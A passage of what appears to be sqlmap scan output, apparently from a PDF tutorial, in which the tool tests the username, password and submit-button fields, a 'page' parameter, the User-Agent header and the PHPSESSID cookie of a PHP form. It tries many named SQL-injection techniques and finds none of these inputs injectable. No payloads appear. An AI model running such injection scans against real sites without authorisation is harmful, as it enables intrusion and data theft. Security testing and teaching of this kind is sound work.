[15:07:06] [INFO] testing 'Generic boolean-based blind - GROUP BY and ORDER BY
clauses'

[15:07:06] [INFO] testing 'Generic boolean-based blind - GROUP BY and ORDER BY
clauses (original value)'

[15:07:06] [INFO] testing 'MySQL >= 5.0 boolean-based blind - GROUP BY and ORDER
BY clauses'

[15:07:06] [INFO] testing 'MySQL < 5.0 boolean-based blind - GROUP BY and ORDER
BY clauses'

[15:07:06] [INFO] testing 'MySQL stacked conditional-error blind queries'

[15:07:08] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[15:07:09] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause
(EXTRACTVALUE)'

[15:07:09] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause
(UPDATEXML)'

[15:07:10] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause'
[15:07:11] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE or HAVING clause'
[15:07:16] [INFO] testing '‘MySQL >= 5.1 OR error-based - WHERE or HAVING clause
(EXTRACTVALUE)'

[15:07:16] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE or HAVING clause
(UPDATEXML)"

[15:07:17] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause'
[15:07:22] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
[15:07:27] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'

[15:07:27] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace
(EXTRACTVALUE)'

[15:07:27] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace
(UPDATEXML)'

[15:07:27] [INFO] testing 'MySQL >= 5.0 error-based - GROUP BY and ORDER BY
clauses'

[15:07:27] [INFO] testing 'MySQL >= 5.1 error-based - GROUP BY and ORDER BY
clauses (EXTRACTVALUE)'

[15:07:27] [INFO] testing 'MySQL >= 5.1 error-based - GROUP BY and ORDER BY
clauses (UPDATEXML)'

[15:07:27] [INFO] testing 'MySQL > 5.0.11 stacked queries'

[15:07:28] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'

[15:07:28] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'

[15:07:29] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (comment)'
[15:07:30] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query)'
[15:07:30] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query -
comment)’
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[15:07:31] [INFO] testing 'MySQL > 5.0.11 OR time-based blind'

[15:07:36] [INFO] testing 'MySQL < 5.0.12 OR time-based blind (heavy query)'
[15:07:40] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'

[15:07:50] [INFO] testing 'MySQL UNION query (random number) - 1 to 10 columns'
[15:08:00] [INFO] testing 'MySQL UNION query (NULL) - 11 to 20 columns'
[15:08:09] [INFO] testing 'MySQL UNION query (random number) - 11 to 20 columns'
[15:08:18] [INFO] testing 'MySQL UNION query (NULL) - 21 to 30 columns'
[15:08:28] [INFO] testing 'MySQL UNION query (random number) - 21 to 30 columns'
[15:08:37] [INFO] testing 'MySQL UNION query (NULL) - 31 to 40 columns'
[15:08:47] [INFO] testing 'MySQL UNION query (random number) - 31 to 40 columns'
[15:08:56] [INFO] testing 'MySQL UNION query (NULL) - 41 to 50 columns'
[15:09:05] [INFO] testing 'MySQL UNION query (random number) - 41 to 50 columns'
[15:09:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'

[15:09:25] [INFO] testing 'Generic UNION query (random number) - 1 to 10 columns'
[15:09:35] [INFO] testing 'Generic UNION query (NULL) - 11 to 20 columns'
[15:09:44] [INFO] testing 'Generic UNION query (random number) - 11 to 20
columns'

[15:09:53] [INFO] testing 'Generic UNION query (NULL) - 21 to 30 columns'
[15:10:03] [INFO] testing 'Generic UNION query (random number) - 21 to 30
columns'

[15:10:13] [INFO] testing 'Generic UNION query (NULL) - 31 to 40 columns'
[15:10:23] [INFO] testing 'Generic UNION query (random number) - 31 to 40
columns'

[15:10:32] [INFO] testing 'Generic UNION query (NULL) - 41 to 50 columns'
[15:10:41] [INFO] testing 'Generic UNION query (random number) - 41 to 50
columns'

[15:10:50] [WARNING] POST parameter 'username’ is not injectable

[15:10:50] [INFO] testing if POST parameter 'password' is dynamic

[15:10:50] [WARNING] POST parameter 'password' appears to be not dynamic
[15:10:50] [WARNING] heuristic test shows that POST parameter 'password' might
not be injectable

[15:10:50] [INFO] testing for SQL injection on POST parameter 'password'

[15:10:50] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:10:52] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause
(MySQL comment)'

[15:10:54] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause
(Generic comment)'

[15:10:56] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[15:11:02] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause
(MySQL comment)'

[15:11:07] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause
(Generic comment)'

[15:11:13] [INFO] testing 'MySQL boolean-based blind - WHERE or HAVING clause
(RLIKE)'

[15:11:15] [INFO] testing 'Generic boolean-based blind - Parameter replace (original
value)'

[15:11:15] [INFO] testing 'MySQL boolean-based blind - Parameter replace
(MAKE_SET - original value)'
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[15:11:15] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT -
original value)'

[15:11:15] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int -
original value)'

[15:11:15] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace
(original value)'

[15:11:15] [INFO] testing 'MySQL < 5.0 boolean-based blind - Parameter replace
(original value)'

[15:11:15] [INFO] testing 'Generic boolean-based blind - GROUP BY and ORDER BY
clauses'

[15:11:16] [INFO] testing 'Generic boolean-based blind - GROUP BY and ORDER BY
clauses (original value)'

[15:11:16] [INFO] testing 'MySQL >= 5.0 boolean-based blind - GROUP BY and ORDER
BY clauses'

[15:11:16] [INFO] testing 'MySQL < 5.0 boolean-based blind - GROUP BY and ORDER
BY clauses'

[15:11:16] [INFO] testing 'MySQL stacked conditional-error blind queries'

[15:11:18] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[15:11:18] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause
(EXTRACTVALUE)'

[15:11:19] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause
(UPDATEXML)'

[15:11:20] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause'
[15:11:20] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE or HAVING clause'
[15:11:25] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE or HAVING clause
(EXTRACTVALUE)'

[15:11:26] [INFO] testing '‘MySQL >= 5.1 OR error-based - WHERE or HAVING clause
(UPDATEXML)"

[15:11:27] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause'
[15:11:32] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
[15:11:36] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'

[15:11:36] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace
(EXTRACTVALUE)'

[15:11:36] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace
(UPDATEXML)'

[15:11:36] [INFO] testing 'MySQL >= 5.0 error-based - GROUP BY and ORDER BY
clauses'

[15:11:36] [INFO] testing 'MySQL >= 5.1 error-based - GROUP BY and ORDER BY
clauses (EXTRACTVALUE)'

[15:11:36] [INFO] testing 'MySQL >= 5.1 error-based - GROUP BY and ORDER BY
clauses (UPDATEXML)'

[15:11:36] [INFO] testing 'MySQL > 5.0.11 stacked queries'

[15:11:37] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'

[15:11:38] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'

[15:11:39] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (comment)'
[15:11:39] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query)'
[15:11:40] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query -
comment)’



96

[15:11:41] [INFO] testing 'MySQL > 5.0.11 OR time-based blind'

[15:11:46] [INFO] testing 'MySQL < 5.0.12 OR time-based blind (heavy query)'
[15:11:51] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'

[15:12:01] [INFO] testing 'MySQL UNION query (random number) - 1 to 10 columns'
[15:12:11] [INFO] testing 'MySQL UNION query (NULL) - 11 to 20 columns'

[15:12:21] [INFO] testing 'MySQL UNION query (random number) - 11 to 20 columns'
[15:12:30] [INFO] testing 'MySQL UNION query (NULL) - 21 to 30 columns'

[15:12:39] [INFO] testing 'MySQL UNION query (random number) - 21 to 30 columns'
[15:12:48] [INFO] testing 'MySQL UNION query (NULL) - 31 to 40 columns'

[15:12:58] [INFO] testing 'MySQL UNION query (random number) - 31 to 40 columns'
[15:13:07] [INFO] testing 'MySQL UNION query (NULL) - 41 to 50 columns'

[15:13:16] [INFO] testing 'MySQL UNION query (random number) - 41 to 50 columns'
[15:13:25] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'

[15:13:35] [INFO] testing 'Generic UNION query (random number) - 1 to 10 columns'
[15:13:45] [INFO] testing 'Generic UNION query (NULL) - 11 to 20 columns'
[15:13:55] [INFO] testing 'Generic UNION query (random number) - 11 to 20
columns'

[15:14:04] [INFO] testing 'Generic UNION query (NULL) - 21 to 30 columns'
[15:14:13] [INFO] testing 'Generic UNION query (random number) - 21 to 30
columns'

[15:14:22] [INFO] testing 'Generic UNION query (NULL) - 31 to 40 columns'
[15:14:31] [INFO] testing 'Generic UNION query (random number) - 31 to 40
columns'

[15:14:41] [INFO] testing 'Generic UNION query (NULL) - 41 to 50 columns'
[15:14:50] [INFO] testing 'Generic UNION query (random number) - 41 to 50
columns'

[15:14:59] [WARNING] POST parameter 'password' is not injectable

[15:14:59] [INFO] testing if POST parameter 'user-info-php-submit-button' is dynamic
[15:14:59] [WARNING] POST parameter 'user-info-php-submit-button' appears to be
not dynamic

[15:14:59] [WARNING] heuristic test shows that POST parameter 'user-info-php-
submit-button' might not be injectable

[15:14:59] [INFO] testing for SQL injection on POST parameter 'user-info-php-submit-
button'

[15:14:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:15:01] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause
(MySQL comment)'

[15:15:03] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause
(Generic comment)'

[15:15:06] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[15:15:13] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause
(MySQL comment)'

[15:15:19] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause
(Generic comment)'

[15:15:25] [INFO] testing 'MySQL boolean-based blind - WHERE or HAVING clause
(RLIKE)'

[15:15:27] [INFO] testing 'Generic boolean-based blind - Parameter replace (original
value)'
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[15:15:27] [INFO] testing 'MySQL boolean-based blind - Parameter replace
(MAKE_SET - original value)'

[15:15:27] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT -
original value)'

[15:15:28] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int -
original value)'

[15:15:28] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace
(original value)'

[15:15:28] [INFO] testing 'MySQL < 5.0 boolean-based blind - Parameter replace
(original value)'

[15:15:28] [INFO] testing 'Generic boolean-based blind - GROUP BY and ORDER BY
clauses'

[15:15:28] [INFO] testing 'Generic boolean-based blind - GROUP BY and ORDER BY
clauses (original value)'

[15:15:28] [INFO] testing 'MySQL >= 5.0 boolean-based blind - GROUP BY and ORDER
BY clauses'

[15:15:28] [INFO] testing 'MySQL < 5.0 boolean-based blind - GROUP BY and ORDER
BY clauses'

[15:15:28] [INFO] testing 'MySQL stacked conditional-error blind queries'

[15:15:30] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[15:15:31] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause
(EXTRACTVALUE)'

[15:15:31] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause
(UPDATEXML)'

[15:15:32] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause'
[15:15:33] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE or HAVING clause'
[15:15:38] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE or HAVING clause
(EXTRACTVALUE)'

[15:15:38] [INFO] testing '‘MySQL >= 5.1 OR error-based - WHERE or HAVING clause
(UPDATEXML)'

[15:15:39] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause'
[15:15:44] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
[15:15:49] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace’

[15:15:49] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace
(EXTRACTVALUE)'

[15:15:49] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace
(UPDATEXML)'

[15:15:49] [INFO] testing 'MySQL >= 5.0 error-based - GROUP BY and ORDER BY
clauses'

[15:15:49] [INFO] testing 'MySQL >= 5.1 error-based - GROUP BY and ORDER BY
clauses (EXTRACTVALUE)'

[15:15:49] [INFO] testing 'MySQL >= 5.1 error-based - GROUP BY and ORDER BY
clauses (UPDATEXML)'

[15:15:49] [INFO] testing 'MySQL > 5.0.11 stacked queries'

[15:15:50] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'

[15:15:50] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'

[15:15:51] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (comment)'
[15:15:52] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query)'
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[15:15:53] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query -
comment)'

[15:15:53] [INFO] testing 'MySQL > 5.0.11 OR time-based blind'

[15:15:59] [INFO] testing 'MySQL < 5.0.12 OR time-based blind (heavy query)'
[15:16:04] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'

[15:16:14] [INFO] testing 'MySQL UNION query (random number) - 1 to 10 columns'
[15:16:24] [INFO] testing 'MySQL UNION query (NULL) - 11 to 20 columns'
[15:16:34] [INFO] testing 'MySQL UNION query (random number) - 11 to 20 columns'
[15:16:43] [INFO] testing 'MySQL UNION query (NULL) - 21 to 30 columns'
[15:16:53] [INFO] testing 'MySQL UNION query (random number) - 21 to 30 columns'
[15:17:02] [INFO] testing 'MySQL UNION query (NULL) - 31 to 40 columns'
[15:17:11] [INFO] testing 'MySQL UNION query (random number) - 31 to 40 columns'
[15:17:21] [INFO] testing 'MySQL UNION query (NULL) - 41 to 50 columns'
[15:17:30] [INFO] testing 'MySQL UNION query (random number) - 41 to 50 columns'
[15:17:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'

[15:17:50] [INFO] testing 'Generic UNION query (random number) - 1 to 10 columns'
[15:18:00] [INFO] testing 'Generic UNION query (NULL) - 11 to 20 columns'
[15:18:09] [INFO] testing 'Generic UNION query (random number) - 11 to 20
columns'

[15:18:19] [INFO] testing 'Generic UNION query (NULL) - 21 to 30 columns'
[15:18:28] [INFO] testing 'Generic UNION query (random number) - 21 to 30
columns'

[15:18:37] [INFO] testing 'Generic UNION query (NULL) - 31 to 40 columns'
[15:18:47] [INFO] testing 'Generic UNION query (random number) - 31 to 40
columns'

[15:18:56] [INFO] testing 'Generic UNION query (NULL) - 41 to 50 columns'
[15:19:05] [INFO] testing 'Generic UNION query (random number) - 41 to 50
columns'

[15:19:15] [WARNING] POST parameter 'user-info-php-submit-button' is not
injectable

[15:19:15] [INFO] testing if GET parameter 'page' is dynamic

[15:19:15] [INFO] confirming that GET parameter 'page' is dynamic

[15:19:15] [INFO] GET parameter 'page' is dynamic

[15:19:15] [WARNING] heuristic test shows that GET parameter 'page' might not be
injectable

[15:19:15] [INFO] testing for SQL injection on GET parameter 'page’

[15:19:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:19:17] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause
(MySQL comment)'

[15:19:19] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause
(Generic comment)'

[15:19:21] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[15:19:26] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause
(MySQL comment)'

[15:19:32] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause
(Generic comment)'

[15:19:37] [INFO] testing 'MySQL boolean-based blind - WHERE or HAVING clause
(RLIKE)'
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[15:19:39] [INFO] testing 'Generic boolean-based blind - Parameter replace (original
value)'

[15:19:39] [INFO] testing 'MySQL boolean-based blind - Parameter replace
(MAKE_SET - original value)'

[15:19:39] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT -
original value)'

[15:19:39] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int -
original value)'

[15:19:39] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace
(original value)'

[15:19:39] [INFO] testing 'MySQL < 5.0 boolean-based blind - Parameter replace
(original value)'

[15:19:39] [INFO] testing 'Generic boolean-based blind - GROUP BY and ORDER BY
clauses'

[15:19:39] [INFO] testing 'Generic boolean-based blind - GROUP BY and ORDER BY
clauses (original value)'

[15:19:39] [INFO] testing 'MySQL >= 5.0 boolean-based blind - GROUP BY and ORDER
BY clauses'

[15:19:39] [INFO] testing 'MySQL < 5.0 boolean-based blind - GROUP BY and ORDER
BY clauses'

[15:19:39] [INFO] testing 'MySQL stacked conditional-error blind queries'

[15:19:42] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[15:19:42] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause
(EXTRACTVALUE)'

[15:19:43] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause
(UPDATEXML)'

[15:19:44] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause'
[15:19:44] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE or HAVING clause'
[15:19:49] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE or HAVING clause
(EXTRACTVALUE)'

[15:19:50] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE or HAVING clause
(UPDATEXML)'

[15:19:51] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause'
[15:19:55] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
[15:20:00] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'

[15:20:00] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace
(EXTRACTVALUE)'

[15:20:00] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace
(UPDATEXML)'

[15:20:00] [INFO] testing 'MySQL >= 5.0 error-based - GROUP BY and ORDER BY
clauses'

[15:20:00] [INFO] testing 'MySQL >= 5.1 error-based - GROUP BY and ORDER BY
clauses (EXTRACTVALUE)'

[15:20:00] [INFO] testing 'MySQL >= 5.1 error-based - GROUP BY and ORDER BY
clauses (UPDATEXML)'

[15:20:00] [INFO] testing 'MySQL > 5.0.11 stacked queries'

[15:20:01] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'

[15:20:02] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
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[15:20:03] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (comment)'
[15:20:04] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query)’'
[15:20:04] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query -
comment)'

[15:20:05] [INFO] testing 'MySQL > 5.0.11 OR time-based blind'

[15:20:11] [INFO] testing 'MySQL < 5.0.12 OR time-based blind (heavy query)'
[15:20:18] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'

[15:20:29] [INFO] testing 'MySQL UNION query (random number) - 1 to 10 columns'
[15:20:39] [INFO] testing 'MySQL UNION query (NULL) - 11 to 20 columns'

[15:20:48] [INFO] testing 'MySQL UNION query (random number) - 11 to 20 columns'
[15:20:58] [INFO] testing 'MySQL UNION query (NULL) - 21 to 30 columns'

[15:21:08] [INFO] testing 'MySQL UNION query (random number) - 21 to 30 columns'
[15:21:17] [INFO] testing 'MySQL UNION query (NULL) - 31 to 40 columns'

[15:21:27] [INFO] testing 'MySQL UNION query (random number) - 31 to 40 columns'
[15:21:36] [INFO] testing 'MySQL UNION query (NULL) - 41 to 50 columns'

[15:21:46] [INFO] testing 'MySQL UNION query (random number) - 41 to 50 columns'
[15:21:55] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'

[15:22:06] [INFO] testing 'Generic UNION query (random number) - 1 to 10 columns'
[15:22:16] [INFO] testing 'Generic UNION query (NULL) - 11 to 20 columns'
[15:22:25] [INFO] testing 'Generic UNION query (random number) - 11 to 20
columns'

[15:22:34] [INFO] testing 'Generic UNION query (NULL) - 21 to 30 columns'
[15:22:43] [INFO] testing 'Generic UNION query (random number) - 21 to 30
columns'

[15:22:53] [INFO] testing 'Generic UNION query (NULL) - 31 to 40 columns'
[15:23:02] [INFO] testing 'Generic UNION query (random number) - 31 to 40
columns'

[15:23:12] [INFO] testing 'Generic UNION query (NULL) - 41 to 50 columns'
[15:23:21] [INFO] testing 'Generic UNION query (random number) - 41 to 50
columns'

[15:23:31] [WARNING] GET parameter 'page' is not injectable

[15:23:31] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic

[15:23:31] [WARNING] User-Agent parameter 'User-Agent' appears to be not
dynamic

[15:23:31] [INFO] heuristic test shows that User-Agent parameter 'User-Agent' might
be injectable (possible DBMS: MySQL)

[15:23:31] [INFO] testing for SQL injection on User-Agent parameter 'User-Agent'
[15:23:31] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:23:33] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause
(Generic comment)'

[15:23:35] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[15:23:41] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause
(Generic comment)'

[15:23:47] [INFO] testing 'Generic boolean-based blind - Parameter replace (original
value)'

[15:23:47] [INFO] testing 'Generic boolean-based blind - GROUP BY and ORDER BY
clauses'
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[15:23:47] [INFO] testing 'Generic boolean-based blind - GROUP BY and ORDER BY
clauses (original value)'

[15:23:47] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause
(MySQL comment)'

[15:23:49] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause
(MySQL comment)'

[15:23:55] [INFO] testing 'MySQL boolean-based blind - WHERE or HAVING clause
(RLIKE)'

[15:23:57] [INFO] testing 'MySQL boolean-based blind - Parameter replace
(MAKE_SET - original value)'

[15:23:57] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT -
original value)'

[15:23:57] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int -
original value)'

[15:23:58] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace
(original value)'

[15:23:58] [INFO] testing 'MySQL < 5.0 boolean-based blind - Parameter replace
(original value)'

[15:23:58] [INFO] testing 'MySQL >= 5.0 boolean-based blind - GROUP BY and ORDER
BY clauses'

[15:23:58] [INFO] testing 'MySQL < 5.0 boolean-based blind - GROUP BY and ORDER
BY clauses'

[15:23:58] [INFO] testing 'MySQL stacked conditional-error blind queries'

[15:24:00] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[15:24:00] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause
(EXTRACTVALUE)'

[15:24:01] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause
(UPDATEXML)'

[15:24:02] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause'
[15:24:02] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE or HAVING clause'
[15:24:07] [INFO] testing '‘MySQL >= 5.1 OR error-based - WHERE or HAVING clause
(EXTRACTVALUE)'

[15:24:08] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE or HAVING clause
(UPDATEXML)'

[15:24:09] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause'
[15:24:15] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
[15:24:20] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace’

[15:24:20] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace
(EXTRACTVALUE)'

[15:24:20] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace
(UPDATEXML)'

[15:24:20] [INFO] testing 'MySQL >= 5.0 error-based - GROUP BY and ORDER BY
clauses'

[15:24:20] [INFO] testing 'MySQL >= 5.1 error-based - GROUP BY and ORDER BY
clauses (EXTRACTVALUE)'

[15:24:20] [INFO] testing 'MySQL >= 5.1 error-based - GROUP BY and ORDER BY
clauses (UPDATEXML)'

[15:24:20] [INFO] testing '‘MySQL > 5.0.11 stacked queries'
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[15:24:21] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'

[15:24:21] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'

[15:24:24] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (comment)'
[15:24:27] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query)’'
[15:24:28] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query -
comment)’

[15:24:28] [INFO] testing 'MySQL > 5.0.11 OR time-based blind'

[15:24:35] [INFO] testing 'MySQL < 5.0.12 OR time-based blind (heavy query)'
[15:24:41] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'

[15:24:51] [INFO] testing 'MySQL UNION query (random number) - 1 to 10 columns'
[15:25:13] [INFO] testing 'MySQL UNION query (NULL) - 11 to 20 columns'

[15:25:23] [INFO] testing 'MySQL UNION query (random number) - 11 to 20 columns'
[15:25:43] [INFO] testing 'MySQL UNION query (NULL) - 21 to 30 columns'

[15:25:52] [INFO] testing 'MySQL UNION query (random number) - 21 to 30 columns'
[15:26:14] [INFO] testing 'MySQL UNION query (NULL) - 31 to 40 columns'

[15:26:23] [INFO] testing 'MySQL UNION query (random number) - 31 to 40 columns'
[15:26:43] [INFO] testing 'MySQL UNION query (NULL) - 41 to 50 columns'

[15:26:53] [INFO] testing 'MySQL UNION query (random number) - 41 to 50 columns'
[15:27:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'

[15:27:25] [INFO] testing 'Generic UNION query (random number) - 1 to 10 columns'
[15:27:45] [INFO] testing 'Generic UNION query (NULL) - 11 to 20 columns'
[15:27:54] [INFO] testing 'Generic UNION query (random number) - 11 to 20
columns'

[15:28:14] [INFO] testing 'Generic UNION query (NULL) - 21 to 30 columns'
[15:28:23] [INFO] testing 'Generic UNION query (random number) - 21 to 30
columns'

[15:28:44] [INFO] testing 'Generic UNION query (NULL) - 31 to 40 columns'
[15:28:53] [INFO] testing 'Generic UNION query (random number) - 31 to 40
columns'

[15:29:14] [INFO] testing 'Generic UNION query (NULL) - 41 to 50 columns'
[15:29:23] [INFO] testing 'Generic UNION query (random number) - 41 to 50
columns'

[15:29:43] [WARNING] User-Agent parameter 'User-Agent' is not injectable
[15:29:44] [INFO] testing if Cookie parameter 'PHPSESSID' is dynamic

[15:29:44] [WARNING] Cookie parameter 'PHPSESSID' appears to be not dynamic
[15:29:44] [WARNING] heuristic test shows that Cookie parameter 'PHPSESSID' might
not be injectable

[15:29:44] [INFO] testing for SQL injection on Cookie parameter 'PHPSESSID'
[15:29:44] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:35:51] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause
(Generic comment)'

[15:36:10] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[15:36:21] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause
(Generic comment)'

[15:36:32] [INFO] testing 'Generic boolean-based blind - Parameter replace (original
value)'

[15:36:33] [INFO] testing 'Generic boolean-based blind - GROUP BY and ORDER BY
clauses'
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[15:36:33] [INFO] testing 'Generic boolean-based blind - GROUP BY and ORDER BY
clauses (original value)'

[15:36:34] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause
(MySQL comment)'

[15:36:52] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause
(MySQL comment)'

[15:37:02] [INFO] testing 'MySQL boolean-based blind - WHERE or HAVING clause
(RLIKE)'

[15:37:20] [INFO] testing 'MySQL boolean-based blind - Parameter replace
(MAKE_SET - original value)'

[15:37:21] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT -
original value)'

[15:37:21] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int -
original value)'

[15:37:22] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace
(original value)'

[15:37:22] [INFO] testing 'MySQL < 5.0 boolean-based blind - Parameter replace
(original value)'

[15:37:22] [INFO] testing 'MySQL >= 5.0 boolean-based blind - GROUP BY and ORDER
BY clauses'

[15:37:23] [INFO] testing 'MySQL < 5.0 boolean-based blind - GROUP BY and ORDER
BY clauses'

[15:37:23] [INFO] testing 'MySQL stacked conditional-error blind queries'

[15:37:42] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[15:37:47] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause
(EXTRACTVALUE)'

[15:37:51] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause
(UPDATEXML)"

[15:37:56] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause'
